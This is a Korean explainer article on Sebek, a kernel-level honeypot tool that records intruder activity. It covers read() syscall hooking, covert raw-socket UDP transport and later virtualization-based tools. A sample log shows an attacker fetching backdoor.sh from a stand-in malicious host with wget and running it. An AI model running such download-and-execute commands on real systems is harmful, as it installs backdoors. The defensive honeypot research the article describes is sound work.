Sebek으로 허니팟 침입 활동을 수집하는 방법
Sebek의 커널 후킹 기반 데이터 캡처 구조와 허니팟 환경의 수집·분석 방식, 탐지 한계와 가상화 대안을 정리한다.
2026-08-14 · 최초 발행 2025-06-04
허니팟 안에서 공격자 행위를 남기는 Sebek
Sebek은 허니팟에 침투한 공격자의 활동을 세밀하게 기록하도록 설계된 데이터 캡처 도구다. 공격자가 시스템에 들어온 뒤 입력한 내용과 실행 흐름을 수집해 보안 연구자가 공격 기법과 행위를 분석할 수 있게 한다.
구조는 허니팟 내부에서 동작하는 클라이언트 모듈과 수집 정보를 저장·분석하는 데이터 수집 서버로 나뉜다. 클라이언트가 캡처한 정보는 서버로 전달되며, 이 과정은 공격자에게 모니터링 존재를 드러내지 않는 방식으로 설계됐다.
클라이언트가 수집하는 활동과 서버의 역할
Sebek 클라이언트는 커널 수준에서 동작하면서 공격자의 키보드 입력, 파일 업로드와 다운로드, SSH 같은 암호화된 세션 내용, 실행 명령어와 결과, 네트워크 연결 시도를 캡처한다. 수집 데이터는 네트워크를 거쳐 서버로 전송되며, 전송 과정에서는 암호화가 사용된다.
데이터 수집 서버는 클라이언트가 보낸 암호화 데이터를 받아 복호화하고 저장한다. 저장된 데이터의 정렬과 분석을 위한 인터페이스를 제공하며, 여러 허니팟에서 들어오는 정보를 중앙에서 관리하는 역할도 맡는다.
read() 후킹으로 암호화 이전 데이터를 잡는 방식
Sebek의 핵심은 커널 수준 시스템 콜 후킹이다. 특히 read() 시스템 콜을 후킹해 암호화가 적용되기 전 단계의 데이터를 얻는다. 따라서 암호화된 통신 내용도 캡처할 수 있고, 공격자가 사용하는 도구나 스크립트에 의한 검출을 피하면서 최소한의 시스템 오버헤드로 동작할 수 있다.
수집한 데이터는 특수한 형태의 UDP 패킷으로 변환해 서버에 보낸다. Raw 소켓을 사용해 일반 네트워크 스택을 우회하고, 일반 방화벽이나 네트워크 모니터링 도구의 필터링을 피하는 방식을 사용한다. 패킷 헤더를 위조해 일반 네트워크 트래픽으로 위장하는 것도 이 전송 메커니즘의 일부다.
운영체제와 Honeynet 환경에 붙이는 구성
Sebek은 Linux에서는 커널 모듈, Windows에서는 커널 드라이버, Unix/FreeBSD에서는 커널 모듈 형태로 구현할 수 있다.
Honeynet Project 환경에서는 Honeyd, Honeywall, Walleye와 함께 사용할 수 있다. Honeyd는 가상 허니팟 환경을 만들고, Honeywall은 네트워크 트래픽 제어와 모니터링을 담당한다. Walleye는 수집 데이터의 시각화와 분석 인터페이스를 제공한다.
공격 분석에서 남는 흔적
제로데이 취약점을 악용한 공격자를 분석한 사례에서는, 공격자가 시스템에 백도어를 설치하는 과정과 사용한 툴체인을 Sebek으로 캡처했다.
[Sebek 로그 예시]
시간: 2023-05-15 03:42:15
UID: 0
명령어: wget http://malicious-server.com/backdoor.sh
프로세스: bash (PID: 3421)
결과: 성공적으로 다운로드됨
시간: 2023-05-15 03:42:23
UID: 0
명령어: chmod +x backdoor.sh
프로세스: bash (PID: 3421)
시간: 2023-05-15 03:42:28
UID: 0
명령어: ./backdoor.sh
프로세스: bash (PID: 3421)
다른 사례에서는 Sebek이 설치된 허니팟을 통해 봇넷 감염 시스템이 연결하는 Command & Control 서버의 위치와 통신 프로토콜을 식별했다. 해당 정보는 봇넷 차단 작업을 위한 인텔리전스로 활용됐다.
커널 내부 수집이 갖는 제약과 보완 방향
커널 메모리를 분석할 수 있는 고급 공격자라면 Sebek의 존재를 탐지할 수 있다. 커널 업데이트 뒤에는 모듈 재컴파일이 필요하며, 모든 시스템 콜을 후킹하면 시스템 성능에도 영향을 줄 수 있다.
이런 제약은 게스트 OS 바깥에 분리된 모니터링 계층을 두는 방식으로 완화할 수 있다. VMI(Virtual Machine Introspection)는 하이퍼바이저 수준에서 모니터링해 탐지 가능성을 줄이며, 중요 시스템 콜만 골라 후킹하면 성능 오버헤드를 줄일 수 있다.
가상화 기반으로 이어진 모니터링 도구
Sebek의 데이터 캡처 개념은 가상화 환경을 중심으로 확장됐다. QEBEK은 QEMU 기반 가상화 환경을 위한 모니터링 도구이며, LibVMI는 가상 머신 인트로스펙션 라이브러리다. Cuckoo Sandbox는 자동화된 악성코드 분석 환경으로 활용된다.
Sebek은 암호화된 세션을 포함한 공격자 활동을 커널 수준에서 수집하는 허니팟 구성 요소다. 오늘날에는 가상화와 결합한 모니터링 도구가 이를 보완하지만, 허니팟 내부 행위를 관찰하고 분석 가능한 데이터로 남긴다는 Sebek의 설계 철학은 그대로 이어진다.